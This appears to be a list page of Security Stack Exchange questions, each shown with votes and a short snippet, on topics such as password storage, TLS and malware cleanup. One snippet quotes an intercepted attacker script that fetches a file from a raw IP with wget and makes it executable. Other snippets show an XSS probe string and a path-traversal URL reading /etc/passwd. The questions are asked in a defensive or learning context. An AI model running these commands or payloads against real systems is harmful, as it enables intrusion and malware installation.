4
votes
1answer
204 views

Safe ways to store passwords without hashing them

I'm working on an email client for Windows, and to send emails, my application needs to have the email address and the password of that email address. When the user gives his password, I store it ...
3
votes
1answer
321 views

Why warning sign when visiting https-website? [duplicate]

Sometimes when I visit a website using HTTPS, I get a warning sign next to the URL in my browser (see screenshot; look for yellow/orange arrow) and I wonder if this marks a potential threat or an ...
0
votes
1answer
283 views

CAPTCHA Bypassing with Captcha Clipping Attack is Like MiTM between servers, Is that even Possible?

Sorry if this is a very amateur question. I was checking out some article regarding CAPTCHA bypassing. And I though this article seemed interesting ...
5
votes
4answers
3k views

How to get an “A” on Qualys SSL Labs with Apache 2.2?

I've tried running Qualys' ssltest a few times and it keeps complaining that PFS isn't supported in some browsers. On their blog, they suggest a configuration for Apache 2.4 that should get an "A" ...
1
vote
0answers
86 views

How does Travis CI protect itself against being used for attacks?

Travis CI allows anyone to run any code on their servers by checking it into GitHub. How do they ensure that someone isn't taking advantage of their servers to launch an attack or other malicious ...
3
votes
1answer
2k views

Setup of Kali Linux for reverse shell connections over the internet

I am running Kali Linux as a VM on my Windows machine which is NAT'd behind my company network, if I wish to pen test a website for a client and believe that a reverse shell is possible, what is a ...
0
votes
2answers
184 views

Best practice for sending IP Addresses

IP Addresses are pretty common around the internet so they're often easily found in plain text. However, let's say there's a number of IP addresses configured on a server to allow access through a ...
1
vote
2answers
180 views

File encryption for a storage API

I'm implementing a Dropbox-like API, and one of my requirements is to have the files stored encrypted on the server. It is not required that the files are made unreadable by the server, only that they ...
2
votes
2answers
104 views

Can software projects which accept government funding be trusted?

You may know or probably are using TOR client which provides anonymity to the users but how can one be sure they are secure when browsing using this client and its network since its funded by feds? ...
6
votes
1answer
289 views

Isn't a HIDS, NIDS and WAF complementary?

Assume this scenario: Someone trying to hack a website. Simply put: www.site.com/example.php?=<script>alert(1)</script> A HIDS would see this attempt in Apache's access log, a NIDS would ...
-1
votes
1answer
61 views

Simulation of security against IP [closed]

I am pursuing a college project, in which I am running three fake services on three ports to protect the main service (say running at port 80). The concept is that if the user is malicious, he'll try ...
5
votes
3answers
191 views

Separation of secure login steps

I'm redesigning a login screen for a financial services application. Currently, this requests user ID and password, then (on the same screen) 2 digits from a 6-digit PIN are requested - these 2 digits ...
4
votes
4answers
230 views

What is a good algorithm for memorizing a password in a few minutes?

Let's say I am following good security policy and picking passwords that are: Long Complex (passphrases where possible, otherwise random strings with special characters) Unique (completely ...
1
vote
1answer
146 views

MITM Attacks with Web GUI

I'm thinking of writing an application that communicates sensitive information (using Python, if that's relevant). Instead of using the standard GUI libraries (like GTK, Qt or wxWidgets), I was ...
1
vote
3answers
149 views

Detect message tampering without shared key and without certificate authority

Is it possible to detect if a message has been tampered with, without using MAC (i.e. shared key) and without using a "trusted" third party (i.e. certificate authority)? I'm pretty sure it's not, but ...
0
votes
1answer
168 views

Access an ftp server gives me the passwd file though no shadow

I have gain access to a server via ftp which is showing me the passwd file with 2 users via ftp://1.2.3.4/../etc/passwd output is: root:*:0:0:root:: ftp:*:109:117:Anonymous FTP:: As such the ...
2
votes
0answers
211 views

DoS stress test not working [closed]

First off I'd like to say this is my first post on StackExchange, so please let me know if there's anything wrong with it. Also, I don't know much about networking and I'm just making a simple java ...
0
votes
1answer
84 views

Sending passwords securly over the net: javascript? [closed]

I believe SSL is decrypted and encrypted from your computer to the receiver right? Well is it possible to use any type of encryption (Stanford crypto lib?) to get a password safely over the net these ...
2
votes
1answer
610 views

Which mail clients support PGP/MIME - is there an overview? [closed]

Does anyone know if there is a current overview (I only found ones from before 2006) which MUAs (mail clients) do support PGP/MIME? I wonder whether there still exist issues like "Outlook Express ...
131
votes
5answers
15k views

Does Facebook store plain-text passwords?

I was about to reset my Facebook password and got this error: Your new password is too similar to your current password. Please try another password. I assumed that Facebook stores only password ...
0
votes
1answer
273 views

Securely erase data from a flash drive vs hard disk [duplicate]

I'm studying for an exam, that's why I don't need software for that purpose (which is what other questions I found on this topic provide) but an explanation. The concrete questions I'm trying to ...
5
votes
4answers
1k views

Is chrome completely secure against Reflected XSS?

I notice that Chrome does not execute scrips that are part of the web request, http://vulnerable_site?pageTitle=<script>alert('xss')</script> With such links since the script is as part ...
0
votes
1answer
232 views

What are the risks of connecting via VNC to an untrusted host?

There are questions about connecting to an untrusted host via SSH [1] [2], RDP, and with X11 forwarding enabled. What about when connecting via VNC? What risks are there to the client? To be clear: ...
3
votes
3answers
421 views

How much time / “entropy collected” should generating a RSA 2048bit keypair take?

The purpose of my question is get an better idea about reasonable amout of time the generation of the RSA public/private keypair should take? To be less vague let me specify the question and define I ...
3
votes
1answer
248 views

File Vault 1 password from memory dump

I have a osx 10.9 machine with a File Vault1 encrypted user partition. I would like to remove the encryption, but I don't remember the "master key" which is the only way to remove encryption ...
12
votes
4answers
594 views

How to react when under attack

Just this week someone has been trying to attack the server of the company where I work. I have noticed that they have been trying to brute force root via ssh. fail2ban is handling that well and I ...
-1
votes
1answer
406 views

Why the data in Aircraft's Black Box is Encrypted? [closed]

I have read somewhere that the Data in Air Craft Black Boxes are encrypted using various algorithm and only the manufacturers could gain access to the actual data of the BlackBoxe, Why the data in ...
1
vote
2answers
341 views

How to trace virtual phone number?

Suppose I received a call from internet with some virtual number, I called the same number back after few days but it didn't exist at the time or it was routed to some other user. Is there a way to ...
0
votes
1answer
40 views

OID for creation date/time (X509 certifcate field)

X509 certificates used in PKI{X} have notBefore and notAfter dates. I'd like to stamp a certifcate with a creation stamp, and the stamp is distinct from notBefore and notAfter. Is there an OID for a ...
3
votes
2answers
420 views

Is it safe to rely on UUIDs for privacy?

I'm uploading files on S3, where the filename is a UUID. All files uploaded are publicly read/write, however these files are considered private to users. Is it possible for someone to guess a UUID, ...
0
votes
1answer
115 views

Data Protection act, who is liable? [closed]

Recently, a large UK shopping chain had the staff payroll database leaked (including bank details, all unencrypted) We've been told that we cannot take legal action and have so far been denied ...
0
votes
1answer
300 views

Can I rely on encrypted cloud services like Mega? [closed]

The Mega site claims that all submitted files are encrypted upon upload and decrypted upon download, and at no moment have they any knowledge of the decrypted contents. (I assume others sites do it ...
0
votes
1answer
155 views

Is it safe to recycle unshredded credit card receipts?

Is it safe to recycle unshredded paper credit card receipts? Can identity theft be helped by data disclosed on most vendor's receipts?
11
votes
3answers
1k views

What does this sh script does if executed in a production environment

I could intercept what a possible attacker is trying to do on my website and he/she tried to execute this script: #!/bin/sh cd /tmp;cd /dev/shm wget -q http://221.132.37.26/xx -O ...x chmod +x ...x ...
2
votes
1answer
179 views

Strange TLSv1.2 Handshake

I noticed a strangeness in the TLS 1.2 Handshake and I don't know if I'm missing something. As you can see in this screenshot, the browser (Chrome) puts the value 0x0301 as version in the Record ...
6
votes
2answers
969 views

VPNs vulnerable to MiTM because ANY certificate goes

I spoke to a sysadmin in a business center today who intended to basically perform a MiTM (as he called it) on every connection in his network because people in his office building are using VPNs and ...
3
votes
4answers
2k views

Virus scanner on server

I see lots of people claim virus scanners are unnecessary on a linux server. But if this server accepts files uploaded from users (and lets others download them), does it become worth it to scan the ...
1
vote
0answers
229 views

JPEG file SOS marker before SOF

I'm looking over some JPEG files with an assumption that a steganography has been used for trial obfuscation due to the installation of JPHS. I've come across a file where the start of scan marker ...
1
vote
0answers
158 views

Persistent login by hashing password hash

It seems that persistent logins are technically the same as storing a password on the client, and therefore should be avoided whenever possible. However, real life users would be unhappy with having ...
0
votes
2answers
41 views

How likely would /var/mail be encrypted in a paid host? [closed]

I pay for a very basic web hosting plan, which includes a personal email address. Would the sysadmin of said host be able to read the content of my messages? How likely would my personal mail folder ...
1
vote
3answers
1k views

Email activation string with MD5'd random number and email secure?

For the registration on my PHP powered website, I require email confirmation. After a user registers, a string is generated with the following code and sent to their email address. $key = ...
0
votes
2answers
129 views

If P=NP, what is still cryptographically secure? [duplicate]

I know, I know - "If P=NP" is a really large, high-impact assumption. But this is a hypothetical. I mean, clearly RSA (and similar methods of obfuscation) would likely become totally irrelevant - or ...
0
votes
3answers
136 views

Unknown hijacker/popups on the browser

I was cleaning my father’s laptop which was recently infected by a fairly tenacious piece of malware. It hasn't given any great clues as to what it is named or anything of that sort and thus far ...
0
votes
1answer
376 views

veil framework, reverse https and tcp payload differences

i'm using veil framework to bypass av, when i want to choose a payload there are many choices, there is rev_https_contained , python/meterpreter/rev_https and c/meterpreter/rev_tcp my question is ...
2
votes
8answers
706 views

Finding Hidden Keylogger Through Forcing a Computation Error

It must be possible to detect keylogging by close scrutiny of timing between physical keystroke execution and the character's eventual occurrence on the screen. I've had a friend show me this with ...
1
vote
0answers
149 views

How do I get the Access-Token and Access-Token-Secret?

Can anyone explain me these terms with respect to OAuth ? Consumer Key Consumer Secret Access Token Access Token Secret Also, when I registered my application with twitter I got the consumer key ...
12
votes
2answers
605 views

How can I prevent that my users get a certificate issued for my domain on my behalf?

I have a domain, where some other users have access to upload files, use email, use XMPP, etc. How can I prevent that these users go to a certificate authority and get a certificate for my domain? ...
4
votes
5answers
848 views

Can the wifi administrator in a shared office see mail sent through outlook?

I am hot desking in the same office as a potential competitor & would be using the same wifi. The building owner runs the competitor company. My question is, can the wifi administrator see mail I ...
-1
votes
1answer
1k views

Open ports and SSH Tunneling to shared hosting

I know your time is valuable so I'm not waiting for specific answers to my situation. I don't mind reading documentation, so pointers to something that converges would be greatly appreciated. I don't ...
2
votes
1answer
90 views

WLAN disconnected for sure?

If my PC has NO on-mainboard WLAN and there is NO WLAN-adapter card and NO USB WLAN-stick installed, how sure am I that there is really no WLAN connectivity possible ? I.e. can I really disconnect ...

15 30 50 per page